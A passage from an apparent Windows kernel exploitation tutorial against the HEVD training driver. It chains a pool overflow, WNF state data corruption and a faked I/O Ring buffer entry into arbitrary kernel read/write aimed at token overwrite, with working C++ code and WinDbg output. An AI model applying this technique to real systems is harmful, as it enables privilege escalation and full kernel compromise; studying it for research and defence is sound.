7
HRESULT CreateIoRing(
_In_ IORING_VERSION ioringVersion, // Version of the I/O Ring. We need version 3 or higher for read and write support.
_In_ IORING_CREATE_FLAGS flags, // Creation flags. An empty structure is fine here.
_In_ UINT32 submissionQueueSize, // Minimum size of the submission queue. Any medium power of two works, for example 0x100.
_In_ UINT32 completionQueueSize, // Minimum size of the completion queue. Any medium power of two works, for example 0x100.
_Out_ HIORING* h // Output parameter that receives the usermode HIORING handle.
);
This creates the _IORING_OBJECT object in the kernel, whose structure looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//0xd0 bytes (sizeof)
struct _IORING_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _NT_IORING_INFO UserInfo; //0x8
VOID* Section; //0x38
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue; //0x40
struct _MDL* CompletionQueueMdl; //0x48
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue; //0x50
ULONGLONG ViewSize; //0x58
LONG InSubmit; //0x60
ULONGLONG CompletionLock; //0x68
ULONGLONG SubmitCount; //0x70
ULONGLONG CompletionCount; //0x78
ULONGLONG CompletionWaitUntil; //0x80
struct _KEVENT CompletionEvent; //0x88
UCHAR SignalCompletionEvent; //0xa0
struct _KEVENT* CompletionUserEvent; //0xa8
ULONG RegBuffersCount; //0xb0
struct _IOP_MC_BUFFER_ENTRY** RegBuffers; //0xb8
ULONG RegFilesCount; //0xc0
VOID** RegFiles; //0xc8
};
See RegBuffers at offset 0xb8? That is the field we care about. It is a pointer to an array of pointers to _IOP_MC_BUFFER_ENTRY structures. That array is allocated in paged pool, and we can influence its size at will.
When the Windows kernel processes an operation through an I/O Ring with registered buffers, it does not look for the data directly in the _IORING_OBJECT. Instead, it follows a tree shaped hierarchy that breaks down like this:
1
2
3
4
5
6
7
8
9
10
[ _IORING_OBJECT ] (root object in kernel)
|
+--> (Offset 0xB8) RegBuffers
|
+--> [array of pointers] (allocated in paged pool)
|
+--> [index 0] ---> [ _IOP_MC_BUFFER_ENTRY ] (MC structure)
| +--> .Address ---> (real data buffer)
| +--> .Length
+--> [index 1] ---> [ _IOP_MC_BUFFER_ENTRY ]
Each _IOP_MC_BUFFER_ENTRY is a 0x80 byte metadata container created by the kernel to safely keep track of one specific buffer. Instead of forcing the kernel to verify the validity and permissions of a memory address every time it reads or writes, which would destroy performance, the kernel performs all checks once during registration and packs the result into this structure.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//0x80 bytes (sizeof)
struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type; //0x0
USHORT Reserved; //0x2
ULONG Size; //0x4
LONG ReferenceCount; //0x8
enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags; //0xc
struct _LIST_ENTRY GlobalDataLink; //0x10
VOID* Address; //0x20
ULONG Length; //0x28
CHAR AccessMode; //0x2c
LONG MdlRef; //0x30
struct _MDL* Mdl; //0x38
struct _KEVENT MdlRundownEvent; //0x40
ULONGLONG* PfnArray; //0x58
struct _IOP_MC_BE_PAGE_NODE PageNodes[1]; //0x60
};
The critical fields in this structure are:
.Addressoffset0x20: the pointer to the real virtual address of the data..Lengthoffset0x28: the buffer size. It defines how many bytes will be transferred in the operation.
I think you can already smell where this is going. If we manage to modify these two values, we can control where and how much gets read or written, because these fields are used for both operations.
But let us go step by step. For now we have only created the IORING_OBJECT thanks to the CreateIoRing API, but this pointer array is not allocated by default. For that, we need to perform a mandatory flow of consecutive calls to the APIs in ioringapi.h:
1
2
3
4
5
6
HRESULT BuildIoRingRegisterBuffers(
_In_ HIORING ioRing, // Handle previously obtained with CreateIoRing.
_In_ UINT32 count, // Total number of buffers to register. This controls the array size: count * 8 on x64.
_In_reads_(count) IORING_BUFFER_INFO const* buffers, // Pointer to an array of IORING_BUFFER_INFO structures.
_In_ UINT_PTR userData // Value identifying the registration operation. We do not care, so 0 is fine.
);
Each element in the buffers array defines one individual buffer with two basic fields:
1
2
3
4
typedef struct _IORING_BUFFER_INFO {
PVOID Address; // Virtual address of the buffer
ULONG Length; // Buffer size in bytes
} IORING_BUFFER_INFO;
Each _IOP_MC_BUFFER_ENTRY.Address will legitimately point to one of these buffers in userspace_.
Since we are operating in 0x200 byte data chunks in paged pool, we will specify a count of 0x40, because multiplied by 8 bytes per pointer it gives us exactly 0x200 bytes. We also need to provide the buffers array with the corresponding 0x40 entries.
However, calling only BuildIoRingRegisterBuffers does not create anything in the kernel. It only packages the command in the user queue. To force the real allocation in Paged Pool and clean up the I/O Ring synchronization mechanisms, it is strictly necessary to call the next two APIs immediately afterwards:
1
2
3
4
5
6
HRESULT SubmitIoRing(
_In_ HIORING ioRing, // Ring whose queued operation must be submitted.
_In_ UINT32 waitOperations, // Number of completions to wait for. Use 1 for this flow.
_In_ UINT32 milliseconds, // Timeout in milliseconds.
_Out_opt_ UINT32* submittedEntries // Optional output with the number of submitted entries.
);
This call wakes up the kernel so it processes the queue. This is the exact moment when the I/O subsystem physically allocates the RegBuffers array of 0x200 bytes in the Paged Pool and fills the object fields. Without this call, the array we want to corrupt would not even exist in memory.
1
2
3
4
HRESULT PopIoRingCompletion(
_In_ HIORING ioRing, // Ring whose completion queue must be consumed.
_Out_ IORING_CQE* cqe // Output completion entry.
);
Once the kernel finishes creating the array, it drops a success “receipt” in the Completion Queue. We must call this API to remove that receipt and empty the queue. If we skip this step and try to corrupt the object while leaving orphan requests in the queue, we desynchronize the read and write indexes and trigger an immediate BSOD when interacting with the primitive. We will also need to call these last two APIs after each read or write operation, which we will see in a moment.
It is important to keep in mind that each _IORING_OBJECT can only have one RegBuffers array. Remember that we are spraying and looking for one of these arrays to land after our corrupted WNF object, so we will make a lot of CreateIoRing calls and run this registration flow for each one. That gives us lots of IORING_OBJECT objects and lots of arrays in memory.
And all of this for what? How are we going to corrupt the _IOP_MC_BUFFER_ENTRY structures to modify Address and Length and get arbitrary read/write, if with our WNF we can only overwrite OOB, meaning what we overwrite is the pointers inside the RegBuffers array and not the _IOP_MC_BUFFER_ENTRY structures?
Well, I never said we would do exactly that. Our goal is not to corrupt them directly because, indeed, we cannot. Besides, the _IOP_MC_BUFFER_ENTRY structures also live in NonPagedPool, so that is one more reason to forget about corrupting them directly.
What we are going to do is use the WNF OOB primitive to corrupt the first entry in this legitimate array, index 0, so that instead of pointing to the real _IOP_MC_BUFFER_ENTRY structure, it points to a fake _IOP_MC_BUFFER_ENTRY structure created by us in usermode.
If you come from Linux, you must be doing backflips right now. SMAP!! SMAAP!! SMAAAAAAAP!! You may be screaming. Well, turns out Windows does not have SMAP, only SMEP. So the kernel will throw a BugCheck if you try to make it execute code from userspace, but about accessing data it does not say a damn thing.
Unlike Linux, which adopted SMAP natively in its memory isolation architecture to prevent the kernel from unintentionally accessing user data, Windows does not implement SMAP because of a legacy design problem.
The Windows kernel historically depends on an architecture where system APIs constantly exchange data directly between user space and kernel space through shared buffers, structures passed by reference. Strictly implementing SMAP would break backwards compatibility with thousands of drivers and operating system components that assume the kernel can always read or write directly to user memory.
Still, remember that Microsoft has developed its own protections to try to cover that gap, such as KDP, Kernel Data Protection, which relies on VBS, Virtualization Based Security, along with others. So yes, they have other weapons to fight their war.
But anyway, back to our case. The absence of SMAP lets us corrupt that entry and redirect it to a fake _IOP_MC_BUFFER_ENTRY created in usermode, where we have full control over the Address and Length fields, finally getting our beloved arbitrary read/write. This will not throw any error because the address pointed to by _IOP_MC_BUFFER_ENTRY.Address, which is supposed to be our legitimate usermode buffer, is only checked in the BuildIoRingRegisterBuffers call, and then it is never checked again. So we can point it to a kernelmode address. Besides, the kernel also assumes the RegBuffers array is safe and that nobody is going to corrupt it, because who would touch kernel objects??? :) So there is no problem redirecting it to usermode either. The kernel does not even flinch.
Before corrupting anything, we need to create the fake structure in usermode. To do that, we allocate a buffer and fill the fields like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct _IOP_MC_BUFFER_ENTRY_FAKE { // values used in our fake structure
USHORT Type; // +0x00 -> 0x0C02 (default)
USHORT Reserved0; // +0x02
ULONG Size; // +0x04 -> 0x80 (default)
ULONG ReferenceCount; // +0x08 -> 1
ULONG Flags; // +0x0c
LIST_ENTRY GlobalDataLink; // +0x10 -> Flink == Blink == GlobalDataLink
PVOID Address; // +0x20 -> OUR ARBITRARY ADDRESS TO READ/WRITE
ULONG Length; // +0x28 -> OUR ARBITRARY LENGTH TO READ/WRITE
UCHAR AccessMode; // +0x2c -> 1
UCHAR Reserved2d[3]; // +0x2d
LONG MdlRef; // +0x30
ULONG Reserved34; // +0x34
PVOID Mdl; // +0x38
BYTE Reserved40[0x40]; // +0x40
} IOP_MC_BUFFER_ENTRY_FAKE, * PIOP_MC_BUFFER_ENTRY_FAKE;
The reserved fields and the MDL related fields do not need values, since they are not used in this path.
Corresponding code, Address and Length will be set for each read or write:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static bool InitializeFakeIoRingBufferEntry()
{
g_fakeBufferEntry = static_cast<PIOP_MC_BUFFER_ENTRY_FAKE>(VirtualAlloc(
nullptr,
sizeof(IOP_MC_BUFFER_ENTRY_FAKE),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
));
if (!g_fakeBufferEntry) {
printf("\t[-] VirtualAlloc fake IOP_MC_BUFFER_ENTRY failed. Error: 0x%08lX\n",
GetLastError());
return false;
}
memset(g_fakeBufferEntry, 0, sizeof(IOP_MC_BUFFER_ENTRY_FAKE));
g_fakeBufferEntry->Type = IOP_MC_BUFFER_ENTRY_TYPE; // 0x0C02
g_fakeBufferEntry->Size = IOP_MC_BUFFER_ENTRY_SIZE; // 0x80
g_fakeBufferEntry->ReferenceCount = IOP_MC_BUFFER_ENTRY_REFCOUNT; // 1
g_fakeBufferEntry->GlobalDataLink.Flink =
reinterpret_cast<PLIST_ENTRY>(&g_fakeBufferEntry->GlobalDataLink);
g_fakeBufferEntry->GlobalDataLink.Blink =
reinterpret_cast<PLIST_ENTRY>(&g_fakeBufferEntry->GlobalDataLink);
g_fakeBufferEntry->AccessMode = IOP_MC_BUFFER_ENTRY_ACCESS_MODE; // 1
return true;
}
Great, so we create this fake structure in usermode, use WNF to corrupt the first legitimate RegBuffers entry so it points to our fake one but… how do we use our primitive?
This is where Named Pipes come into play. Since I/O Ring must interact with the handle of a file object to process data, in memory pipes are the perfect candidate: they are fast, bidirectional, and live completely in kernel RAM. It would also be possible to use files, but pipes, anonymous ones normally, are usually the favorite.
To build our primitive, we need to create two independent channels, an input pipe and an output pipe. The mini tutorial to initialize them in our user code comes down to using the native Windows APIs with this interaction flow:
Create the servers: we use
CreateNamedPipeto instantiate bothinputPipeandoutputPipe. It is important to configure them withPIPE_ACCESS_DUPLEXso bidirectional communication is allowed.Open the clients: we use
CreateFileto open the corresponding client handles,inputClientandoutputClient, giving them read and write permissions,GENERIC_READ | GENERIC_WRITE. These two client handles are the ones we will give to our I/O Ring.
The flow that the data will follow legitimately is this:
1
2
3
4
5
[ Write channel, input ]
Userland: WriteFile(payload) --> inputPipe --> inputClient --> [ Kernel Target ]
[ Read channel, output ]
[ Kernel Target ] --> outputClient --> outputPipe --> Userland: ReadFile(buffer)
Once the pipes are set up, we use two key functions from ioringapi.h to dispatch our orders into the ring buffer.
Using the arbitrary write primitive
To write our payload into a protected kernel address, such as the Token, we have to call BuildIoRingReadFile:
1
2
3
4
5
6
7
8
9
HRESULT BuildIoRingReadFile(
_In_ HIORING ioRing, // Ring used for the operation.
_In_ IORING_HANDLE_REF fileRef, // Handle reference to inputClient, the pipe containing the payload.
_In_ IORING_BUFFER_REF bufferRef, // Registered buffer index. We pass index 0, the corrupted one.
_In_ UINT32 numberOfBytesToRead, // Number of bytes to read from the pipe and write into the fake buffer target.
_In_ UINT64 fileOffset, // File offset. 0 for pipes.
_In_ UINT_PTR userData, // Completion user data. 0 is fine here.
_In_ IORING_SQE_FLAGS sqeFlags // SQE flags. 0 is fine here.
);
Yes, the function is called ReadFile and we are going to use it to trigger an arbitrary write. I am not kidding. This function tells the kernel: “Read the data inside the pipe (fileRef) and write it into the destination buffer (bufferRef)”. Since our Index 0 points to a kernel address, the operating system will read our payload from the pipe and stamp it directly over the memory we point to.
Using the arbitrary read primitive
To extract and leak secret information from kernel space into our program, we call BuildIoRingWriteFile:
1
2
3
4
5
6
7
8
9
10
HRESULT BuildIoRingWriteFile(
_In_ HIORING ioRing, // Ring used for the operation.
_In_ IORING_HANDLE_REF fileRef, // Handle reference to outputClient, the empty pipe that receives the leak.
_In_ IORING_BUFFER_REF bufferRef, // Registered buffer index. Again, index 0, pointing to the kernel address we want to spy on.
_In_ UINT32 numberOfBytesToWrite, // Number of bytes to copy from the fake buffer source into the pipe.
_In_ UINT64 fileOffset, // File offset. 0 for pipes.
_In_ FILE_WRITE_FLAGS writeFlags, // File write flags. 0 is fine here.
_In_ UINT_PTR userData, // Completion user data. 0 is fine here.
_In_ IORING_SQE_FLAGS sqeFlags // SQE flags. 0 is fine here.
);
This one also looks like the name is backwards. The API tells the kernel: “Take the data stored in the source buffer (bufferRef) and write it into the pipe (fileRef)”. The kernel will obediently go to the forbidden memory address stored in our fake Address, extract the bytes, and send them to the pipe. Then our application only has to do an ordinary ReadFile on the pipe end to read the secret in plain text from userspace.
Remember that for this machinery to move, every time we want to execute a read or write, we perform the asynchronous cycle explained at the beginning:
1
BuildIoRingReadFile or BuildIoRingWriteFile (queue) -> SubmitIoRing (execute in kernel) -> PopIoRingCompletion (clean queue and synchronize)
And that is it for the I/O Ring primitive explanation. Today this is the golden option if you want to exploit the paged pool. It is an object allocatable from usermode, you can modify its size to adapt it to different allocations, and it gives you full read/write at the address you want with a size from 1 byte to 4 GB, which is the maximum size that fits in _IOP_MC_BUFFER_ENTRY.Length. Besides, we do not need to corrupt the RegBuffers pointer array entry again, and we do not need to rebuild the whole fake structure for every read or write. We only need to modify Address and Length, and done. That said, we are corrupting a kernel structure, so we will need to keep it in mind for the cleanup part at the end.
Before jumping to the next section, let us review what we have so far in the exploit, adding the new code so it is clearer:
- We create a lot of WNF objects, both padding for defragmentation and targets.
- We update those WNF objects so they create their
WNF_STATE_DATAstructures in paged pool. - We free alternating target
WNF_STATE_DATAobjects, not the padding ones, to create holes. - We trigger the vulnerability, the HEVD heap overflow, and corrupt the adjacent
WNF_STATE_DATAmetadata, getting OOB read/write.
This is the layout where we stopped before:
1
[WNFpad][WNFpad][WNFpad][WNFpad][WNFpad][WNFpad] (...) [WNFtarget]['Hack'][CorruptedWNF][HOLE][WNFtarget][HOLE]
From here comes the new part:
- We create a lot of I/O Rings through
CreateIoRingto create the_IORING_OBJECT. This does not allocate memory in our paged pool holes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static bool CreateIoringObjects(const SIZE_CONFIG& sc)
{
IORING_CREATE_FLAGS flags = {};
for (int i = 0; i != g_ioRings.size(); i++) { // We create 0x300, for example
HIORING ring = nullptr;
HRESULT hr = CreateIoRing(
IORING_VERSION_3,
flags,
sc.ioring_queue_size, // 0x100, could be another value
sc.ioring_queue_size, // 0x100, could be another value
&ring
);
if (FAILED(hr)) {
printf("\t[-] CreateIoRing failed at %d. HRESULT: 0x%08lX\n", i, hr);
return false;
}
g_ioRings[i] = ring;
}
return true;
}
- We call
BuildIoRingRegisterBuffers, followed bySubmitIoRingandPopIoRingCompletion, to allocate our_IOP_MC_BUFFER_ENTRYpointer arrays into the holes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static bool SprayIoRingIopMcBuffers(const SIZE_CONFIG& sc)
{
int registered = 0;
// Iterate over the I/O Rings we created before
for (int i = 0; i != g_ioRings.size(); i++) {
HRESULT hr = BuildIoRingRegisterBuffers(
g_ioRings[i],
sc.ioring_buffers_per_ring, // 0x40 because 0x40 * 8 = 0x200
g_ioRingBufferInfos.data(), // Preallocated buffer array, same count passed to BuildIoRingRegisterBuffers
0
);
if (FAILED(hr) || !SubmitAndWaitIoRing(g_ioRings[i])) {
break;
}
registered++;
}
return registered == g_ioRings.size();
}
static bool SubmitAndWaitIoRing(HIORING ring)
{
UINT32 submitted = 0;
HRESULT hr = SubmitIoRing(ring, 1, IORING_SUBMIT_TIMEOUT_MS, &submitted);
if (FAILED(hr)) {
return false;
}
IORING_CQE cqe = {};
hr = PopIoRingCompletion(ring, &cqe);
if (FAILED(hr)) {
return false;
}
return SUCCEEDED(cqe.ResultCode);
}
Now memory looks like this:
1
[WNFpad][WNFpad][WNFpad][WNFpad][WNFpad][WNFpad] (...) [WNFtarget]['Hack'][CorruptedWNF][ArrayIOP][WNFtarget][ArrayIOP]
- We create our fake
_IOP_MC_BUFFER_ENTRYstructure in usermode and fill it with the needed fields.
1
2
3
4
5
6
7
8
9
10
11
static void InitializeFakeIoRingBufferEntry()
{
memset(g_fakeBufferEntry, 0, sizeof(IOP_MC_BUFFER_ENTRY_FAKE));
g_fakeBufferEntry->Type = IOP_MC_BUFFER_ENTRY_TYPE;
g_fakeBufferEntry->Size = IOP_MC_BUFFER_ENTRY_SIZE;
g_fakeBufferEntry->ReferenceCount = IOP_MC_BUFFER_ENTRY_REFCOUNT;
g_fakeBufferEntry->GlobalDataLink.Flink = reinterpret_cast<PLIST_ENTRY>(&g_fakeBufferEntry->GlobalDataLink);
g_fakeBufferEntry->GlobalDataLink.Blink = reinterpret_cast<PLIST_ENTRY>(&g_fakeBufferEntry->GlobalDataLink);
g_fakeBufferEntry->AccessMode = IOP_MC_BUFFER_ENTRY_ACCESS_MODE;
}
- Use our WNF OOB read/write to corrupt the first entry in the
_IOP_MC_BUFFER_ENTRYpointer array. We can read with WNF the two headers of the next chunk,_HEAP_VS_CHUNK_HEADERand_POOL_HEADER, overwrite them intact and corrupt the entry. That way we save ourselves cleanup of that chunk headers later. We will also save the legitimate pointer to restore it during cleanup.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
static bool LeakAndCorruptIoRingIopMcBufferEntry(const SIZE_CONFIG& sc)
{
// Find our corrupted WNF as explained in the WNF section
for (int i = 1; i != sc.wnf_spray_count; i += 2) {
if (!g_wnfActive[i]) {
continue;
}
ULONG bufferSize = 0;
WNF_CHANGE_STAMP changeStamp = 0;
NTSTATUS status = g_NtQueryWnfStateData(
&g_wnfNames[i],
nullptr,
nullptr,
&changeStamp,
nullptr,
&bufferSize
);
if (status != STATUS_BUFFER_TOO_SMALL && !NT_SUCCESS(status)) {
continue;
}
if (changeStamp != WNF_CHANGE_STAMP_MARKER ||
bufferSize != sc.wnf_corrupted_data_size) {
continue;
}
// Once we find our corrupted WNF, read data from it
std::vector<BYTE> buffer(bufferSize);
ULONG readSize = bufferSize;
status = g_NtQueryWnfStateData(
&g_wnfNames[i],
nullptr,
nullptr,
&changeStamp,
buffer.data(),
&readSize
);
if (!NT_SUCCESS(status) ||
readSize < sc.wnf_reg_buffers_first_entry_offset + sizeof(ULONG64)) {
continue;
}
// Grab the candidate pointer, last 8 bytes of the leaked buffer
ULONG64 candidate = 0;
memcpy(
&candidate,
buffer.data() + sc.wnf_reg_buffers_first_entry_offset, // 0x210
sizeof(candidate)
);
// Check that it is a kernel pointer, since _IOP_MC_BUFFER_ENTRY objects are kernel objects.
// If it is not a kernel pointer here, grooming probably failed and we did not get an array after the corrupted WNF.
if (!IsKernelPointer(candidate)) {
continue;
}
// Save the 0x20 bytes of chunk headers for later
if (sc.irrb_header_restore_offset + sizeof(g_savedIrrbHeader) <= readSize) {
memcpy(
g_savedIrrbHeader,
buffer.data() + sc.irrb_header_restore_offset,
sizeof(g_savedIrrbHeader)
);
g_savedIrrbHeaderValid = true;
}
g_victimWnfIndex = i;
g_leakedRegBuffersEntry = candidate;
break;
}
if (g_victimWnfIndex < 0 || !g_leakedRegBuffersEntry) {
printf("\t[-] Failed to leak RegBuffers[0]\n");
return false;
}
// Prepare to corrupt the first entry
std::vector<BYTE> overflowData(sc.wnf_corrupted_data_size, WNF_OVERFLOW_FILL_BYTE);
auto fakeHeader = reinterpret_cast<WNF_STATE_DATA_HEADER*>(overflowData.data());
fakeHeader->Header.NodeTypeCode = WNF_STATE_DATA_NODE_TYPE_CODE;
fakeHeader->Header.NodeByteSize = WNF_STATE_DATA_NODE_SIZE;
fakeHeader->AllocatedSize = sc.wnf_corrupted_data_size;
fakeHeader->DataSize = sc.wnf_corrupted_data_size;
fakeHeader->ChangeStamp = WNF_CHANGE_STAMP_MARKER;
if (g_savedIrrbHeaderValid &&
sc.irrb_header_restore_offset + sizeof(g_savedIrrbHeader) <= overflowData.size()) {
memcpy(
overflowData.data() + sc.irrb_header_restore_offset,
g_savedIrrbHeader,
sizeof(g_savedIrrbHeader)
);
}
ULONG64 newEntry = reinterpret_cast<ULONG64>(g_fakeBufferEntry);
memcpy(
overflowData.data() + sc.wnf_reg_buffers_first_entry_offset,
&newEntry,
sizeof(newEntry)
);
// Corrupt with WNF while leaving the next chunk headers intact
NTSTATUS status = g_NtUpdateWnfStateData(
&g_wnfNames[g_victimWnfIndex],
overflowData.data(),
sc.wnf_corrupted_data_size,
nullptr,
nullptr,
WNF_CHANGE_STAMP_MARKER,
0
);
if (!NT_SUCCESS(status)) {
printf("\t[-] Failed to corrupt RegBuffers[0]\n");
return false;
}
g_regBuffersEntryCorrupted = true;
printf("\t[+] Original RegBuffers[0]: 0x%016llX\n", g_leakedRegBuffersEntry);
return true;
}
One last look at our memory:
1
2
3
4
[WNFpad][WNFpad][WNFpad][WNFpad][WNFpad][WNFpad] (...) [WNFtarget]['Hack'][CorruptedWNF][CorruptedArrayIOP][WNFtarget][ArrayIOP]
^
|
(this is not really here anymore, we will see that now in the debugger)
Let us go back to WinDbg to see this in action. We set a breakpoint again at the moment the vulnerable allocation is allocated:
1
2
3
4
5
6
7
8
9
10
11
12
Breakpoint 0 hit
HEVD!TriggerBufferOverflowPagedPoolSession+0x58:
fffff802`7c4063f8 488bf8 mov rdi,rax
2: kd> !pool rax
Pool page ffffe50a0935d010 region is Paged pool
*ffffe50a0935d000 size: 210 previous size: 0 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ffffe50a0935d220 size: 210 previous size: 0 (Allocated) Wnf Process: ffffd20332672080
ffffe50a0935d440 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
As we can see, WinDbg is being funny again and does not show us all the page allocations. It does not matter. Now we stop the program after allocating the I/O Ring arrays we care about and inspect memory:
1
2
3
4
5
6
7
0: kd> !pool ffffe50a0935d010
Pool page ffffe50a0935d010 region is Paged pool
*ffffe50a0935d000 size: 210 previous size: 0 (Allocated) *IrRB Process: ffffd20332672080
Owning component : Unknown (update pooltag.txt)
ffffe50a0935d220 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
Here we see two things. First, our Hack block is gone and has been replaced by IrRB. That is all good. It is not there because, if you remember the vulnerable HEVD code, the chunk is allocated, produces the overflow and is immediately deallocated, so the hole becomes free again. Second, before WinDbg showed us two entries and now it only shows one, because after corrupting the WNF _POOL_HEADER it cannot recognize that chunk anymore. IrRB is our array of pointers to _IOP_MC_BUFFER_ENTRY. We can check it, and also see again that our WNF has been corrupted:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0: kd> dt _pool_header ffffe50a`0935d000
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y11010100 (0xd4)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00001011 (0xb)
+0x000 Ulong1 : 0xb21d400
+0x004 PoolTag : 0x42527249
+0x008 ProcessBilled : 0x7280dbe1`5005987b _EPROCESS -> Possible EPROCESS leak???
+0x008 AllocatorBackTraceIndex : 0x987b
+0x00a PoolTagHash : 0x5005
0: kd> dq ffffe50a0935d000+10 l2
ffffe50a`0935d010 ffffd203`33884d70 ffffd203`33884980
0: kd> dt nt!_IOP_MC_BUFFER_ENTRY ffffd203`33884980
+0x000 Type : 0xc02
+0x002 Reserved : 0
+0x004 Size : 0x80
+0x008 ReferenceCount : 0n1
+0x00c Flags : 0 (No matching name)
+0x010 GlobalDataLink : _LIST_ENTRY [ 0xffffd203`33884120 - 0xffffd203`33884d80 ]
+0x020 Address : 0x000001fd`68c20100 Void -> Our usermode buffer
+0x028 Length : 0x100
+0x02c AccessMode : 1 ''
+0x030 MdlRef : 0n0
+0x038 Mdl : (null)
+0x040 MdlRundownEvent : _KEVENT
+0x058 PfnArray : (null)
+0x060 PageNodes : [1] _IOP_MC_BE_PAGE_NODE
Our corrupted WNF:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0: kd> dt _heap_vs_chunk_header ffffe50a0935d220-10
nt!_HEAP_VS_CHUNK_HEADER
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : 0y11101110 (0xee)
+0x008 UnusedBytes : 0y0
+0x008 SkipDuringWalk : 0y1
+0x008 Spare : 0y1110111011101110111011 (0x3bbbbb)
+0x008 AllocatedChunkBits : 0xeeeeeeee
0: kd> dt _pool_header ffffe50a0935d220
nt!_POOL_HEADER
+0x000 PreviousSize : 0y11101110 (0xee)
+0x000 PoolIndex : 0y11101110 (0xee)
+0x002 BlockSize : 0y11101110 (0xee)
+0x002 PoolType : 0y11101110 (0xee)
+0x000 Ulong1 : 0xeeeeeeee
+0x004 PoolTag : 0xeeeeeeee
+0x008 ProcessBilled : 0xeeeeeeee`eeeeeeee _EPROCESS
+0x008 AllocatorBackTraceIndex : 0xeeee
+0x00a PoolTagHash : 0xeeee
0: kd> dt nt!_WNF_STATE_DATA ffffe50a0935d220+10
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : 0x218
+0x008 DataSize : 0x218
+0x00c ChangeStamp : 0xCODE
And if we look at the next chunk:
1
2
3
4
5
6
7
8
9
10
11
0: kd> dt _pool_header ffffe50a0935d220+220
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y11011000 (0xd8)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00001011 (0xb)
+0x000 Ulong1 : 0xb21d800
+0x004 PoolTag : 0x42527249 -> 'IrRB'
+0x008 ProcessBilled : 0x7280dbe1`50059c3b _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x9c3b
+0x00a PoolTagHash : 0x5005
Great! Our pool grooming was successful and now we can corrupt the first entry of this IrRB block. This is the array before, pointing to a legitimate structure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0: kd> dq ffffe50a0935d220+220+10 l4
ffffe50a`0935d450 ffffd203`33885dc0 ffffd203`33887680
ffffe50a`0935d460 ffffd203`33886990 ffffd203`33886630
0: kd> dt nt!_IOP_MC_BUFFER_ENTRY ffffd203`33885dc0
+0x000 Type : 0xc02
+0x002 Reserved : 0
+0x004 Size : 0x80
+0x008 ReferenceCount : 0n1
+0x00c Flags : 0 (No matching name)
+0x010 GlobalDataLink : _LIST_ENTRY [ 0xffffd203`33887690 - 0xffffd203`33887840 ]
+0x020 Address : 0x000001fd`68c20000 Void
+0x028 Length : 0x100
+0x02c AccessMode : 1 ''
+0x030 MdlRef : 0n0
+0x038 Mdl : (null)
+0x040 MdlRundownEvent : _KEVENT
+0x058 PfnArray : (null)
+0x060 PageNodes : [1] _IOP_MC_BE_PAGE_NODE
After corrupting it:
1
2
3
0: kd> dq ffffe50a0935d220+220+10 l4
ffffe50a`0935d450 000001fd`6bc40000 ffffd203`33887680
ffffe50a`0935d460 ffffd203`33886990 ffffd203`33886630
That is our usermode address with our fake entry! If we try to interpret the memory as an _IOP_MC_BUFFER_ENTRY structure, WinDbg will show us ???. This is because we are not in the context of the process that owns those virtual addresses. We could run .process /r /i /p OUR_EPROCESS to switch context and see the memory, but we are not using our freshly acquired primitive yet, so we have not created the fake structure yet.
Also note that, as we said before, since we can read and write with WNF, we did not smash the headers of the IrRB chunk we just corrupted:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0: kd> dt _heap_vs_chunk_header ffffe50a0935d220+220-10
nt!_HEAP_VS_CHUNK_HEADER
+0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
+0x008 EncodedSegmentPageOffset : 0y01101010 (0x6a)
+0x008 UnusedBytes : 0y0
+0x008 SkipDuringWalk : 0y0
+0x008 Spare : 0y0000000000000000000000 (0)
+0x008 AllocatedChunkBits : 0x6a
0: kd> dt _pool_header ffffe50a0935d220+220
nt!_POOL_HEADER
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y11011000 (0xd8)
+0x002 BlockSize : 0y00100001 (0x21)
+0x002 PoolType : 0y00001011 (0xb)
+0x000 Ulong1 : 0xb21d800
+0x004 PoolTag : 0x42527249
+0x008 ProcessBilled : 0x7280dbe1`50059c3b _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x9c3b
+0x00a PoolTagHash : 0x5005
Header safe and sound!
